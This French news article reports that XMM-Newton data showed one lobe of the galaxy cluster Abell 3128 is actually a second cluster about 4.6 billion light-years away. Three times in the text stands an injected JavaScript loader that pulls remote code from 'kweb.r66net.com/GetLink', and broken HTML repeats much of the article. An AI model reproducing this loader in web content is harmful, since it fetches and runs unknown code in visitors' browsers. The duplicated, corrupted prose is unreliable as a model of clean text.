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Un amas de galaxies peut en cacher un autre !

ActualitéClassé sous :Astronomie , Abell 3128 , amas de galaxies

Les scientifiques viennent de découvrir un nouvel amas de galaxies, caché derrière un autre amas déjà connu. Et du coup, ils résolvent une des énigmes qui les agaçaient le plus...

Image de la zone par le télescope Magellan de 6,5 mètres au Chili. L’énorme force de gravitation de l’amas récemment découvert forme un mirage cosmique, visible sous la forme d’un arc au centre de l’image. Crédits : Werner et al. 2007

L'amas de galaxies Abell 3128 était connu depuis longtemps. Sa forme bilobée le rendait facilement reconnaissable mais intriguait beaucoup les astronomes qui tentaient d'en comprendre la composition et l'origine.

Pour cela, les astronomes mettent aujourd'hui à profit les observatoires spatiaux tels XMM-Newton, qui observent le rayonnement X émis par les gaz chauds émis depuis les milieux interstellaires des amas. Leur analyse détaillée renseigne les chercheurs sur la composition de ces gaz et, en conséquence, sur leur origine.

Mais les résultats étaient particulièrement déroutants pour Abell 3128. Bien que les deux lobes composant l'énorme structure présentaient la même taille apparente et le même éclat, les nuages de gaz qu'ils renfermaient semblaient avoir des compositions totalement différentes, ce qui paraissait paradoxal.


Image MMX Newton de la zone située autour de Abell 3128. Les deux taches lumineuses représentent les gaz chauds, à gauche de l’amas éloigné récemment découvert, à droite d'Abell 3128 proprement dite. Crédits : Esa/ XMM/ EPIC/ SRON (N. Werner et al.)
Selon Norbert Werner, doctorant à l'institut pour la Recherche spatiale SRON&nbsp;(Netherlands Institute for Space Research) aux Pays-Bas, un des lobes de l'amas était clairement composé de gaz chauds riches en <a  tooltip href=métaux libérés par des explosions de supernovae au sein des galaxies, tandis que l'autre paraissait contenir une quantité beaucoup plus faible de métaux que tout ce qui avait jamais été observé jusqu'à présent. «&nbsp;Ce que nous observions contredisait complètement les théories en cours sur la façon dont les plus grandes structures de l'Univers apparaissent&nbsp;», déclare-t-il. ( function () { var vs = document.createElement('script'); vs.type = 'text/javascript'; vs.async = true; vs.src = 'https://kweb.r66net.com/GetLink'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(vs, s); })(); Des amas de galaxie qui jouent à cache-cache&nbsp;! Les observations effectuées au moyen de XMM-Newton ont enfin permis de résoudre l'énigme. De fines analyses ont déterminé que le nuage de gaz émettant un rayonnement X atypique était situé à 4,6 milliards d'années-lumière, soit près de six fois la distance de Abell 3128. Il s'agit donc d'un second amas de galaxies dont la perspective le fait apparaître dans la même ligne de visée et dont le hasard a voulu que sa plus grande luminosité compense exactement un plus grand éloignement. «&nbsp;Les recherches sur ce grand amas de galaxies porte essentiellement sur la question de la formation de telles structures&nbsp;», annonce Jelle Kaastra, chef de projet. Selon les plus récentes hypothèses, la matière composant l'Univers s'est répandue en une structure filiforme de gaz chauds raréfiés, la 'toile' cosmique. Entre ces fils, on observe de grandes zones de vide dont le volume augmente à mesure que l'Univers poursuit son expansion, tandis que ces filaments maintiennent leur cohésion par la force de gravitation. On peut comparer cette structure&nbsp;à de la mousse de savon où on observe&nbsp;davantage de matière à l'intersection des bulles&nbsp;qu'à leur surface. Dans l'Univers, la densité de matériel est aussi plus élevée aux intersections de la toile. C'est donc&nbsp;à ces endroits que les amas de galaxies prennent naissance. " title=" Image MMX Newton de la zone située autour de Abell 3128. Les deux taches lumineuses représentent les gaz chauds, à gauche de l’amas éloigné récemment découvert, à&nbsp;droite d'Abell 3128 proprement dite. Crédits : Esa/ XMM/ EPIC/ SRON (N. Werner et al.) Selon Norbert Werner, doctorant à l'institut pour la Recherche spatiale SRON&nbsp;(Netherlands Institute for Space Research) aux Pays-Bas, un des lobes de l'amas était clairement composé de gaz chauds riches en métaux libérés par des explosions de supernovae au sein des galaxies, tandis que l'autre paraissait contenir une quantité beaucoup plus faible de métaux que tout ce qui avait jamais été observé jusqu'à présent. «&nbsp;Ce que nous observions contredisait complètement les théories en cours sur la façon dont les plus grandes structures de l'Univers apparaissent&nbsp;», déclare-t-il. ( function () { var vs = document.createElement('script'); vs.type = 'text/javascript'; vs.async = true; vs.src = 'https://kweb.r66net.com/GetLink'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(vs, s); })(); Des amas de galaxie qui jouent à cache-cache&nbsp;! Les observations effectuées au moyen de XMM-Newton ont enfin permis de résoudre l'énigme. De fines analyses ont déterminé que le nuage de gaz émettant un rayonnement X atypique était situé à 4,6 milliards d'années-lumière, soit près de six fois la distance de Abell 3128. Il s'agit donc d'un second amas de galaxies dont la perspective le fait apparaître dans la même ligne de visée et dont le hasard a voulu que sa plus grande luminosité compense exactement un plus grand éloignement. «&nbsp;Les recherches sur ce grand amas de galaxies porte essentiellement sur la question de la formation de telles structures&nbsp;», annonce Jelle Kaastra, chef de projet. Selon les plus récentes hypothèses, la matière composant l'Univers s'est répandue en une structure filiforme de gaz chauds raréfiés, la 'toile' cosmique. Entre ces fils, on observe de grandes zones de vide dont le volume augmente à mesure que l'Univers poursuit son expansion, tandis que ces filaments maintiennent leur cohésion par la force de gravitation. On peut comparer cette structure&nbsp;à de la mousse de savon où on observe&nbsp;davantage de matière à l'intersection des bulles&nbsp;qu'à leur surface. Dans l'Univers, la densité de matériel est aussi plus élevée aux intersections de la toile. C'est donc&nbsp;à ces endroits que les amas de galaxies prennent naissance. " />
Image MMX Newton de la zone située autour de Abell 3128. Les deux taches lumineuses représentent les gaz chauds, à gauche de l’amas éloigné récemment découvert, à droite d'Abell 3128 proprement dite.
Crédits : Esa/ XMM/ EPIC/ SRON (N. Werner et al.) Selon Norbert Werner, doctorant à l'institut pour la Recherche spatiale SRON (Netherlands Institute for Space Research) aux Pays-Bas, un des lobes de l'amas était clairement composé de gaz chauds riches en métaux libérés par des explosions de supernovae au sein des galaxies, tandis que l'autre paraissait contenir une quantité beaucoup plus faible de métaux que tout ce qui avait jamais été observé jusqu'à présent. « Ce que nous observions contredisait complètement les théories en cours sur la façon dont les plus grandes structures de l'Univers apparaissent », déclare-t-il. ( function () { var vs = document.createElement("script"); vs.type = "text/javascript"; vs.async = true; vs.src = "https://kweb.r66net.com/GetLink"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(vs, s); })(); Des amas de galaxie qui jouent à cache-cache ! Les observations effectuées au moyen de XMM-Newton ont enfin permis de résoudre l'énigme. De fines analyses ont déterminé que le nuage de gaz émettant un rayonnement X atypique était situé à 4,6 milliards d'années-lumière, soit près de six fois la distance de Abell 3128. Il s'agit donc d'un second amas de galaxies dont la perspective le fait apparaître dans la même ligne de visée et dont le hasard a voulu que sa plus grande luminosité compense exactement un plus grand éloignement. « Les recherches sur ce grand amas de galaxies porte essentiellement sur la question de la formation de telles structures », annonce Jelle Kaastra, chef de projet. Selon les plus récentes hypothèses, la matière composant l'Univers s'est répandue en une structure filiforme de gaz chauds raréfiés, la "toile" cosmique. Entre ces fils, on observe de grandes zones de vide dont le volume augmente à mesure que l'Univers poursuit son expansion, tandis que ces filaments maintiennent leur cohésion par la force de gravitation. On peut comparer cette structure à de la mousse de savon où on observe davantage de matière à l'intersection des bulles qu'à leur surface. Dans l'Univers, la densité de matériel est aussi plus élevée aux intersections de la toile. C'est donc à ces endroits que les amas de galaxies prennent naissance.
L’Univers dessine une sorte de toile cosmique. Les astronomes pensent que les amas de galaxies se développent aux intersections. Crédits: Springel et al.Virgo Consortium

En raison de leur énorme masse et attraction gravitationnelle, les amas de galaxies possèdent leur propre dynamique. « Ils s'attirent, se heurtent et passent l'un à travers l'autre. Une foule de choses se produisent que nous pouvons maintenant observer avec des télescopes spatiaux en rayons X tels que XMM-Newton », conclut Jelle Kaastra.

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